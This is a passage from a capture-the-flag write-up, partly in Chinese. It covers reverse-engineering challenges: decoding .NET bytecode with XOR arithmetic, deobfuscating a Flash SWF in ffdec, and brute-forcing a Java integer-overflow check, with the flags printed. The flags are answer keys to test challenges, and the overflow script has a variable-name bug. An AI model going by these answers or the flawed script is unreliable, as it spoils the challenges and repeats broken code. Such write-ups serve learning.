tmp = origin[:2]
tmp = int(tmp,16)
tmp += 1
tmp &= 0xFF
sum += tmp
sum &= 0xFF
new_change.append(tmp)
origin = origin[2:]

new_change[18] = (sum - 38) & 0xFF
new_change[35] = (sum - 3) & 0xFF
new_change[52] = (sum ^ 39) & 0xFF
new_change[69] = (sum - 21) & 0xFF
new_change[87] = (71 - sum) & 0xFF
new_change[124] = (sum ^ 114) & 0xFF
new_change[141] = (sum ^ 80) & 0xFF
new_change[159] = (235 - sum) & 0xFF
new_change[179] = (106 + sum) & 0xFF
new_change[200] = (36 - sum) & 0xFF
new_change[220] = (sum - 3) & 0xFF

for i in range(len(new_change)):
if new_change[i] < 16:
print '0' + "%x" % new_change[i],
else:
print ("%2x" % (new_change[i])),

s = '03 8e 69 1f 0c 40 df 00 00 00 02 16 18 9c 03 16 91 20 10 00 00 00 61 1f 4a 2e 04 02 16 17 9c 03 19 91 20 33 00 00 00 61 1f 46 2e 04 02 16 17 9c 03 17 91 20 11 00 00 00 61 1f 57 2e 04 02 16 17 9c 03 18 91 20 21 00 00 00 61 1f 4d 2e 04 02 16 17 9c 03 1f 0b 91 20 11 00 00 00 61 1f 2c 2e 04 02 16 17 9c 03 1e 91 20 90 00 00 00 61 20 f1 00 00 00 2e 04 02 16 17 9c 03 1a 91 20 44 00 00 00 61 1f 1d 2e 04 02 16 17 9c 03 1b 91 20 66 00 00 00 61 1f 31 2e 04 02 16 17 9c 03 1f 09 91 20 b5 00 00 00 61 20 e2 00 00 00 2e 04 02 16 17 9c 03 1d 91 20 a0 00 00 00 61 20 ee 00 00 00 2e 04 02 16 17 9c 03 1f 0a 91 20 ee 00 00 00 61 20 a3 00 00 00 2e 04 02 16 17 9c 03 1c 91 20 33 00 00 00 61 1f 75 2e 04 02 16 17 9c 2a'

print ''
print s.replace(' ','')

#038e691f0c40df0000000216189c0316912010000000611f4a2e040216179c0319912033000000611f462e040216179c0317912011000000611f572e040216179c0318912021000000611f4d2e040216179c031f0b912011000000611f2c2e040216179c031e9120900000006120f10000002e040216179c031a912044000000611f1d2e040216179c031b912066000000611f312e040216179c031f099120b50000006120e20000002e040216179c031d9120a00000006120ee0000002e040216179c031f0a9120ee0000006120a30000002e040216179c031c912033000000611f752e040216179c2a

ans = []

ans.append(chr(74^16))
ans.append(chr(87^17))
ans.append(chr(33^77))
ans.append(chr(51^70))
ans.append(chr(68^29))
ans.append(chr(102^49))
ans.append(chr(51^117))
ans.append(chr(160^238))
ans.append(chr(144^241))
ans.append(chr(181^226))
ans.append(chr(238^163))
ans.append(chr(17^44))

ans = ''.join(ans)
print ans

print base64.b64decode(ans)

flag: dYnaaMic

Flash Encrypt

flash的题目,用ffdec打开,点击scripts,然后选择其中一个打开发现是有问题的代码,Settings里勾选上Automatic deobfuscation自动反混淆,然后重新生成。此时再看scripts里的代码就很简单了,把那几个比较的数值记录下来,然后双击flashenc.swf运行,输入那些值,到达最后出现flag。

flashEnc

flag: 16876

Multiplicative

java程序逆向,使用jad或者dj反编译程序,直接看到源代码,一个通过溢出得到值的题目。脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python
#-*- coding:utf-8 -*-

from ctypes import *

i = 1L
while (1):
tmp = ((2 ** 64) * i + 0xeaaeb43e477b8487L) / 26729
if ((tmp * 26729) % (2 ** 64)) == 0xeaaeb43e477b8487L:
print c_int64(temp),i
break
i += 1

flag: -8978084842198767761